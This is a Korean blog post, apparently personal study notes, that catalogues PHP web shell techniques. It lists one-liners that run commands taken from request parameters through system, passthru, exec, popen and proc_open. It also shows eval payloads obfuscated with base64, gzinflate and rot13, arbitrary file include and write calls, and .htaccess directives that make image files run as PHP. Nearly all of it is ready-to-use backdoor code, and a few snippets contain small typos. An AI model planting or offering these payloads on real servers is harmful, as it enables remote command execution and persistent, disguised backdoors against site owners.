티스토리 뷰

반응형

주로 웹쉘을 작성할 때 여러가지 방법으로 사용된다.

 

 

시스템 명령어를 실행하는 함수.


system($_GET['cmd']);


passthru($_GET['cmd']);


echo shell_exec($_GET['cmd']);  ← 얘는 실습에서 실패했다.

 


$arr = Array();

exec($_GET['cmd'], $arr);

print_r($arr);


$handle = popen($_GET['cmd'], 'r');

$read = fread($handle, 20960;

echo $read;

pclose($handle);


$des = array(

    0 => array('pipe', 'r'),

    1 => array('pipe', 'w'),

    2 => array('pipe', 'w'));

$proc = @proc_open($_GET['cmd'], $des, $pipes);

pclose($pipes[0]);

$ouput = Array();

while(!feof($pipes[1]))   array_push($output, rtrim(fgets($pipes[1], 1024), "\n"));

print_r($output)

 

 

 

코드 실행 및 암호화


eval($_POST['cmd']);


eval(base64_decode('ZXZhbCgkX1BPU1RbJ2NtZCddKTs='));

  → $_POST['cmd'] 를 그대로 인코딩한 것.


eval(gzinflate(base64_decode('Sy1LzNFQiQ/wDw6JVk/OTVGP1bQGAA==')));


eval(gzdecode(base64_decode('H4sIPAAAAAAAAA0stS8zRUIkP8A8OiVZPzk1Rj9W0BgA5YQfAFAAAAA==')));


eval(str_rot13('riny($_CBFG[pzq]);'));


assert($_POST['cmd']);


call_user_func('assert', $_POST['cmd']);


call_user_func($_GET['a'], $_REQUEST['cmd']);

 

or

 

$_GET['a']($_REQUEST['cmd']);

 

 

파일생성을 포함하는 함수

require($_GET['filename']);


require_once($_GET['filename']);


include($_GET['filename']);


include_once($_GET['filename']);


echo file_get_contents($_GET['filename']);


file_put_contents($_GET['filename'], $_GET['context']);


fputs(fopen($_GET['filename'], 'w'), $_GET['context']);

 

 

.htaccess 파일 수정

SetHandler

   <FilesMatch "x.jpg">

       SetHandler application/x-httpd-php

   </FilesMatch>

  → x.jpg에 PHP 코드를 삽입하고 PHP코드를 실행시키기 위한 내용


auto_prepend_file

   php_value auto_prepend_file c:\apache2\htdocs\123.gif

 → 모든 php 파일에 123.gif에 있는 코드를 삽입한다. (반드시 절대경로로 작성)


auto_append_file

   php_value auto_append_file c:\apache2\htdocs\123.gic

반응형
반응형
공지사항
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
링크
TAG
more
«   2024/11   »
1 2
3 4 5 6 7 8 9
10 11 12 13 14 15 16
17 18 19 20 21 22 23
24 25 26 27 28 29 30
글 보관함